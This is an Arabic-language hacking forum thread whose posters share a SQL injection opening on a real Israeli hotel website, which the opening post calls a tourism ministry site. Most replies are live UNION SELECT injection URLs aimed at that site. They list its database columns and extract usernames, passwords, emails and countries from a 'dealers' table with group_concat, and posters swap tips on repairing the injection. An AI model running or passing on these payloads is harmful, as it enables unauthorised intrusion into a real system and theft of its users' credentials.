هدية:أسرع موقع وزارة السياحة الاسرائيلي مصاب بثغرة سكول sql

[Tn-Sn!PeR]

السلام عليكم
لن أطول عليكم

[hide]http://www.tiberias-hotels.co.il/news_details.php?news_id=64%27[/hide]

 

[PROF]

شكرا علي مجهودك

 

[PROF]

http://www.tiberias-hotels.co.il/ne...7,8,9,10,11+from+information_schema.columns--

عامود اليوزر
http://www.tiberias-hotels.co.il/ne...table_name=CHAR(97, 103, 101, 110, 99, 121)--

عامود الباصورد

http://www.tiberias-hotels.co.il/ne...n_name+like+CHAR(37, 112, 97, 115, 115, 37)--

 

[PROF]

لغاية هنا كله تمام
http://www.tiberias-hotels.co.il/ne...+select+1,2,3,4,5,6,7,8,9,10,11+from+agency--

المشكلة لما نيجي نطلع اليوزر او الباصورد او نجمع الاتنين مع بعض مش بيطلع

http://www.tiberias-hotels.co.il/ne...y_id,0x3a,password),7,8,9,10,11+from+agency--

كدة المفروض يطلع اليوزر والباصورد بس للاسف مش بيطلعوا

جايز انا عندي خطأ في الحقنة
في انتظار باقي الشباب

 

[Tn-Sn!PeR]

ما فهمت شيء
ههههههه

 

[Azar36.exe]

aaaaaaaaaaaaaaaaaaaaaaaaaa

 

[Azar36.exe]

تفضل اليوزات و الباسوردات حلاح عليكم من طرف أخوكم أزار المغربي

http://www.tiberias-hotels.co.il/news_details.php?news_id=-64+union+select+1,2,3,group_concat(username,0x3e,password),5,6,7,8,9,10,11+from+dealers--

 

[Azar36.exe]

http://www.tiberias-hotels.co.il/news_details.php?news_id=-64+union+select+1,2,3,group_concat(email,0x3e,password),5,6,7,8,9,10,11+from+dealers--

 

[haykel]

aaaaaaaaaa

 

[medoo_mohamed]

تفضل اليوزات و الباسوردات حلاح عليكم من طرف أخوكم أزار المغربي

http://www.tiberias-hotels.co.il/news_details.php?news_id=-64+union+select+1,2,3,group_concat(username,0x3e,password),5,6,7,8,9,10,11+from+dealers--

نعم هذا الاصح لان الاخوة الاخرين عند تنفيذ امر concat قاموا باستخراج id والباص فقط

اما عند عدم ظهور اليوزر او الباص عند القيام بهذه الخطوة وظهور احداهما فقط

نستخدم الامر group_concat

وليس concat للاظهار جميع الملفات داخل المجلد

موفق اخى لك منى اجمل تحية اردت التوضيح فقط للاخوة

 

[medoo_mohamed]

لكن اليوزرات والباص ووردات غير واضحة المعالم اى غير مفهومة عند اخى Azar36.exe

هذا هو عمود اليوزرات والباصووردات والايدى والايميلاى بكامل البيانات ومنظمة
http://www.tiberias-hotels.co.il/news_details.php?news_id=-64+union+select+1,2,3,group_concat%28id,0x3a,username,0x3a,password,0x3a,email,0x3a,country%29,5,6,7,8,9,10,11+from+dealers--

 

[you@11]

merci

 

[Master vbspiders]

[align=center][align=center]جاري الاطلاع[/align][/align]

 

[Azar36.exe]

لكن اليوزرات والباص ووردات غير واضحة المعالم اى غير مفهومة عند اخى Azar36.exe

هذا هو عمود اليوزرات والباصووردات والايدى والايميلاى بكامل البيانات ومنظمة
http://www.tiberias-hotels.co.il/ne...,0x3a,country),5,6,7,8,9,10,11+from+dealers--

نعم يا أخي إن لم يضهر الباس واليوز منضم قم بإضهار الإميل و اليوز وحدهم تم الباس و الإميل وحدهم و إجمعهم في Bloc_not
أتمني أن تفهم قصدي

 

[MR-RIAD]

MERCI

 

[DeadTerrorist]

thnx

 

[DeadTerrorist]

اولا الموقع ليس وزاري بل موقع فندق تانيا الموقع ليس به قاعدة اليوزر و الباس

 

[KALASH3R]

يعطيك العافية

بارك الله فيك

 

[MdMn-nT]

تسسسسسسسسسسلم

 

[dzhacker]

thx men